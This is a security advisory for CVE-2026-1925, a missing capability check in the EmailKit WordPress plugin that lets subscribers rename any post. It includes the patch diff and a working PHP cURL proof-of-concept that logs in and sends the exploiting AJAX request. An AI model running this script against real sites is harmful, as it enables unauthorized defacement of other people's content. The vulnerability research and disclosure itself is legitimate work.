Atomic Edge analysis of CVE-2026-1925:
This vulnerability is a missing authorization flaw in the EmailKit WordPress plugin. It allows authenticated users with Subscriber-level permissions or higher to arbitrarily modify the titles of any post, page, or custom post type. The vulnerability affects all plugin versions up to and including 1.6.2, with a CVSS score of 4.3.
The root cause is the absence of a capability check in the `update_template_data` function within the `EmailKitAjax.php` file. The vulnerable code, located in `emailkit/includes/Admin/EmailKitAjax.php`, processes AJAX requests without verifying if the current user has the necessary administrative privileges. The function directly accepts `id` and `title` parameters from the POST request to update a post’s title, relying only on a nonce check for security.
An attacker can exploit this by sending a crafted POST request to the WordPress admin AJAX endpoint. The request must target the `wp_ajax_emailkit_update_template_data` action hook. The required parameters are `action` set to `emailkit_update_template_data`, a valid `nonce`, the target post `id`, and the new `title`. Any authenticated user, including those with only the Subscriber role, can send this request to modify any post’s title.
The patch adds a capability check before processing the title update. In version 1.6.3, the file `emailkit/includes/Admin/EmailKitAjax.php` was modified to include a check for the `manage_options` capability. If the current user lacks this administrative permission, the function sends a JSON error with a 403 status code and exits. This change ensures only administrators can execute the `update_template_data` function.
Successful exploitation allows attackers to deface or disrupt a website by altering the titles of critical content. While title modification alone may not lead to full site compromise, it can damage site integrity, confuse visitors, and impact SEO. Attackers could also use this as a stepping stone in a broader attack chain by modifying administrative page titles to mislead legitimate administrators.
--- a/emailkit/EmailKit.php
+++ b/emailkit/EmailKit.php
@@ -6,7 +6,7 @@
* Description: EmailKit is the most-complete drag-and-drop Email template builder.
* Author: wpmet
* Author URI: https://wpmet.com
- * Version: 1.6.2
+ * Version: 1.6.3
* Text Domain: emailkit
* License: GPLv3
* License URI: https://www.gnu.org/licenses/gpl-3.0.txt
@@ -68,7 +68,7 @@
*/
public function define_constants()
{
- define('EMAILKIT_VERSION', '1.6.2');
+ define('EMAILKIT_VERSION', '1.6.3');
define('EMAILKIT_TEXTDOMAIN', 'emailkit');
define('EMAILKIT_FILE', __FILE__);
define('EMAILKIT_PATH', __DIR__);
--- a/emailkit/includes/Admin/EmailKitAjax.php
+++ b/emailkit/includes/Admin/EmailKitAjax.php
@@ -154,6 +154,13 @@
return false;
}
+ // check user capability
+ if( ! current_user_can('manage_options') ) {
+
+ wp_send_json_error( esc_html__( 'Insufficient permissions', 'emailkit' ), 403 );
+ exit;
+ }
+
$ID = isset( $_POST[ 'id' ] ) ? sanitize_text_field( wp_unslash( $_POST[ 'id' ] ) ) : null;
$new_title = isset( $_POST[ 'title' ] ) ? sanitize_text_field( wp_unslash( $_POST[ 'title' ] ) ) : '';
$data = [];
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1925 - EmailKit <= 1.6.2 - Authenticated Post Title Modification
<?php
$target_url = 'https://vulnerable-site.com';
$username = 'subscriber_user';
$password = 'subscriber_pass';
$new_title = 'HACKED BY ATOMIC EDGE';
$target_post_id = 1;
// Step 1: Authenticate to WordPress and obtain cookies/nonce
$login_url = $target_url . '/wp-login.php';
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
// Create a cURL handle for session persistence
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // For testing only
// Perform login
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
$post_fields = http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
]);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
$response = curl_exec($ch);
// Step 2: Extract the required nonce from the admin page
// The nonce is typically found in the EmailKit admin page source
// For this PoC, we assume the attacker has obtained a valid nonce
// In a real scenario, the attacker would parse it from the page
$nonce = 'EXTRACTED_NONCE_HERE'; // Replace with actual extracted nonce
if (empty($nonce) || $nonce === 'EXTRACTED_NONCE_HERE') {
die('Error: You must first extract a valid nonce from the EmailKit admin interface.');
}
// Step 3: Send the malicious AJAX request to modify post title
curl_setopt($ch, CURLOPT_URL, $ajax_url);
$exploit_payload = http_build_query([
'action' => 'emailkit_update_template_data',
'nonce' => $nonce,
'id' => $target_post_id,
'title' => $new_title
]);
curl_setopt($ch, CURLOPT_POSTFIELDS, $exploit_payload);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
echo "HTTP Response Code: $http_coden";
echo "Response: $responsen";
// Step 4: Verify the title was changed
// This could be done by fetching the post and checking its title
curl_setopt($ch, CURLOPT_URL, $target_url . '/?p=' . $target_post_id);
curl_setopt($ch, CURLOPT_POST, false);
$post_page = curl_exec($ch);
if (strpos($post_page, $new_title) !== false) {
echo "SUCCESS: Post title changed to '$new_title'.n";
} else {
echo "Title change may have failed. Check manually.n";
}
curl_close($ch);
?>